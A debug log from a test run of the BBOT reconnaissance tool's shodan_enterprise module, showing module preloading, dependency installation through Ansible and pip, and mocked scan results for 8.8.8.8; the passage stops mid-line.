09:14:02,489 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) from shodan_enterprise -2026-03-02 09:14:02,489 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) passed post-check -2026-03-02 09:14:02,489 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) from shodan_enterprise -2026-03-02 09:14:02,489 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) passed post-check -2026-03-02 09:14:02,490 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-03-02 09:14:02,490 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-03-02 09:14:02,490 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-03-02 09:14:02,491 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-03-02 09:14:02,491 [VERBOSE] bbot.scanner logger.py:151 Completed finish() -2026-03-02 09:14:02,491 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-03-02 09:14:02,491 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-03-02 09:14:02,492 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-03-02 09:14:02,592 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-03-02 09:14:02,592 [VERBOSE] bbot.scanner logger.py:151 Completed final finish() -2026-03-02 09:14:02,601 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-03-02 09:14:02,602 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-03-02 09:14:02,602 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-03-02 09:14:02,606 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-03-02 09:14:02,607 [VERBOSE] bbot.core.dnshelper logger.py:151 EngineClient DNSHelper: shutting down... -2026-03-02 09:14:02,608 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-03-02 09:14:02,608 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine got shutdown signal -2026-03-02 09:14:02,608 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: shutting down... -2026-03-02 09:14:02,609 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: finished shutting down -2026-03-02 09:14:02,676 [HUGESUCCESS] bbot.scanner logger.py:151 Scan testshodan_enterprise_test_bl3r7r3mxq completed in 0 seconds with status FINISHED -2026-03-02 09:14:02,676 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-03-02 09:14:02,678 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector -2026-03-02 09:14:02,679 [CRITICAL] bbot test_module_shodan_enterprise.py:58 Found 1 ASN events -2026-03-02 09:14:02,679 [CRITICAL] bbot test_module_shodan_enterprise.py:69 TCP ports: ['8.8.8.8:53', '8.8.8.8:443'], UDP ports: ['8.8.8.8:53'] -2026-03-02 09:14:02,679 [HUGEWARNING] bbot logger.py:151 Vulnerabilities observed: {} -2026-03-02 09:15:00,032 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules -2026-03-02 09:15:00,040 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-03-02 09:15:00,040 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-03-02 09:15:00,041 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-03-02 09:15:00,042 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-03-02 09:15:00,042 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-03-02 09:15:00,043 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-03-02 09:15:00,043 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-03-02 09:15:00,044 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-03-02 09:15:00,044 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-03-02 09:15:00,045 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-03-02 09:15:00,045 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-03-02 09:15:00,047 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-03-02 09:15:00,048 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-03-02 09:15:00,048 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-03-02 09:15:00,049 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-03-02 09:15:00,049 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-03-02 09:15:00,050 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-03-02 09:15:00,050 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-03-02 09:15:00,051 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-03-02 09:15:00,051 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-03-02 09:15:00,051 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-03-02 09:15:00,052 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-03-02 09:15:00,052 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-03-02 09:15:00,053 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-03-02 09:15:00,053 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-03-02 09:15:00,054 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-03-02 09:15:00,054 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-03-02 09:15:00,055 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-03-02 09:15:00,055 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-03-02 09:15:00,055 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-03-02 09:15:00,056 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-03-02 09:15:00,056 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-03-02 09:15:00,057 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-03-02 09:15:00,057 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-03-02 09:15:00,058 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-03-02 09:15:00,058 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-03-02 09:15:00,058 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-03-02 09:15:00,061 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-03-02 09:15:00,062 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-03-02 09:15:00,062 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-03-02 09:15:00,064 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-03-02 09:15:00,064 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-03-02 09:15:00,065 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-03-02 09:15:00,065 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-03-02 09:15:00,066 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-03-02 09:15:00,066 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-03-02 09:15:00,066 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-03-02 09:15:00,067 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-03-02 09:15:00,068 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-03-02 09:15:00,068 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-03-02 09:15:00,068 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-03-02 09:15:00,069 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-03-02 09:15:00,069 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-03-02 09:15:00,070 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-03-02 09:15:00,070 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-03-02 09:15:00,070 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-03-02 09:15:00,071 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-03-02 09:15:00,071 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-03-02 09:15:00,071 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-03-02 09:15:00,072 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-03-02 09:15:00,072 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-03-02 09:15:00,073 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-03-02 09:15:00,073 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-03-02 09:15:00,074 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-03-02 09:15:00,074 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-03-02 09:15:00,075 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-03-02 09:15:00,075 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-03-02 09:15:00,076 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-03-02 09:15:00,076 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-03-02 09:15:00,077 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-03-02 09:15:00,077 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-03-02 09:15:00,077 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-03-02 09:15:00,078 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-03-02 09:15:00,078 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-03-02 09:15:00,079 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-03-02 09:15:00,079 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-03-02 09:15:00,080 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-03-02 09:15:00,080 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-03-02 09:15:00,080 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-03-02 09:15:00,081 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-03-02 09:15:00,081 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-03-02 09:15:00,082 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-03-02 09:15:00,082 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-03-02 09:15:00,083 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-03-02 09:15:00,083 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-03-02 09:15:00,083 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-03-02 09:15:00,084 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-03-02 09:15:00,084 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-03-02 09:15:00,084 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-03-02 09:15:00,085 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-03-02 09:15:00,086 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-03-02 09:15:00,086 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-03-02 09:15:00,086 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-03-02 09:15:00,087 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-03-02 09:15:00,087 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-03-02 09:15:00,088 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-03-02 09:15:00,088 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-03-02 09:15:00,088 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-03-02 09:15:00,089 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-03-02 09:15:00,089 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-03-02 09:15:00,090 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-03-02 09:15:00,090 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-03-02 09:15:00,091 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-03-02 09:15:00,091 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-03-02 09:15:00,091 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-03-02 09:15:00,092 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-03-02 09:15:00,092 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-03-02 09:15:00,093 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-03-02 09:15:00,093 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-03-02 09:15:00,093 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-03-02 09:15:00,094 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-03-02 09:15:00,094 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-03-02 09:15:00,095 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-03-02 09:15:00,095 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-03-02 09:15:00,096 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-03-02 09:15:00,096 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules -2026-03-02 09:15:00,096 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-03-02 09:15:00,097 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-03-02 09:15:00,097 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-03-02 09:15:00,098 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-03-02 09:15:00,098 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-03-02 09:15:00,099 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-03-02 09:15:00,100 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-03-02 09:15:00,102 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-03-02 09:15:00,103 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-03-02 09:15:00,105 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-03-02 09:15:00,105 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-03-02 09:15:00,106 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-03-02 09:15:00,106 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-03-02 09:15:00,107 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-03-02 09:15:00,108 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-03-02 09:15:00,108 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-03-02 09:15:00,108 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/templates -2026-03-02 09:15:00,109 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz -2026-03-02 09:15:00,110 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-03-02 09:15:00,110 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/output -2026-03-02 09:15:00,111 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-03-02 09:15:00,111 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-03-02 09:15:00,112 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-03-02 09:15:00,112 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-03-02 09:15:00,113 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-03-02 09:15:00,113 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-03-02 09:15:00,114 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-03-02 09:15:00,115 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-03-02 09:15:00,115 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-03-02 09:15:00,115 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-03-02 09:15:00,116 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-03-02 09:15:00,116 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-03-02 09:15:00,117 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-03-02 09:15:00,117 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-03-02 09:15:00,118 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-03-02 09:15:00,118 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-03-02 09:15:00,119 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-03-02 09:15:00,119 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-03-02 09:15:00,120 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-03-02 09:15:00,120 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-03-02 09:15:00,121 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-03-02 09:15:00,121 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/internal -2026-03-02 09:15:00,122 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-03-02 09:15:00,122 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-03-02 09:15:00,122 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-03-02 09:15:00,123 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-03-02 09:15:00,123 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-03-02 09:15:00,124 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-03-02 09:15:00,124 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/deadly -2026-03-02 09:15:00,124 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-03-02 09:15:00,125 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/report -2026-03-02 09:15:00,125 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-03-02 09:15:00,126 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-03-02 09:15:00,951 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector -2026-03-02 09:15:00,952 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector -2026-03-02 09:15:00,952 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-03-02 09:15:01,050 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-03-02 09:15:01,439 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-03-02 09:15:01,439 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-03-02 09:15:01,439 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-03-02 09:15:01,440 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-03-02 09:15:01,570 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-03-02 09:15:01,571 [DEBUG] bbot base.py:103 Mocking DNS -2026-03-02 09:15:01,677 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-03-02 09:15:01,679 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-03-02 09:15:01,704 [HUGEINFO] bbot.scanner logger.py:151 Scan seeded with 1 targets (1 in whitelist) -2026-03-02 09:15:01,706 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-03-02 09:15:01,706 [HUGEVERBOSE] bbot.core.helpers.command logger.py:151 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/bin/ansible-galaxy collection install community.general -2026-03-02 09:15:02,118 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-03-02 09:15:02,118 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-03-02 09:15:04,665 [SUCCESS] bbot.core.helpers.depsinstaller logger.py:151 Authentication successful -2026-03-02 09:15:04,666 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-03-02 09:15:04,666 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-03-02 09:15:08,454 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-03-02 09:15:08,455 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-03-02 09:15:08,458 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-02 09:15:08,459 [HUGEINFO] bbot.core.helpers.depsinstaller logger.py:151 Installing module dependencies. Please be patient, this may take a while. -2026-03-02 09:15:08,459 [VERBOSE] bbot.core.helpers.depsinstaller logger.py:151 Installing dependencies for module "shodan_enterprise" -2026-03-02 09:15:08,459 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-03-02 09:15:08,461 [HUGEVERBOSE] bbot.core.helpers.command logger.py:151 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/4o5c09p9puhez3cn3sn0 -2026-03-02 09:15:09,157 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/lib/python3.13/site-packages (from tldextract->shodan) (3.18.0) -2026-03-02 09:15:09,158 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-03-02 09:15:09,158 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-02 09:15:09,159 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-03-02 09:15:09,159 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-02 09:15:09,159 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-03-02 09:15:09,159 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-02 09:15:09,160 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-03-02 09:15:09,160 [VERBOSE] bbot.scanner logger.py:151 Loading 1 scan modules: shodan_enterprise -2026-03-02 09:15:09,227 [VERBOSE] bbot.scanner logger.py:151 Loaded module "shodan_enterprise" -2026-03-02 09:15:09,227 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-03-02 09:15:09,227 [VERBOSE] bbot.scanner logger.py:151 Loading 2 internal modules: dnsresolve,unarchive -2026-03-02 09:15:09,229 [VERBOSE] bbot.scanner logger.py:151 Loaded module "dnsresolve" -2026-03-02 09:15:09,229 [VERBOSE] bbot.scanner logger.py:151 Loaded module "unarchive" -2026-03-02 09:15:09,229 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-03-02 09:15:09,230 [VERBOSE] bbot.scanner logger.py:151 Loading 1 output modules: python -2026-03-02 09:15:09,230 [VERBOSE] bbot.scanner logger.py:151 Loaded module "python" -2026-03-02 09:15:09,230 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-03-02 09:15:09,231 [VERBOSE] bbot.scanner logger.py:151 Setting up modules -2026-03-02 09:15:09,231 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-03-02 09:15:09,231 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-03-02 09:15:09,231 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-03-02 09:15:09,231 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module 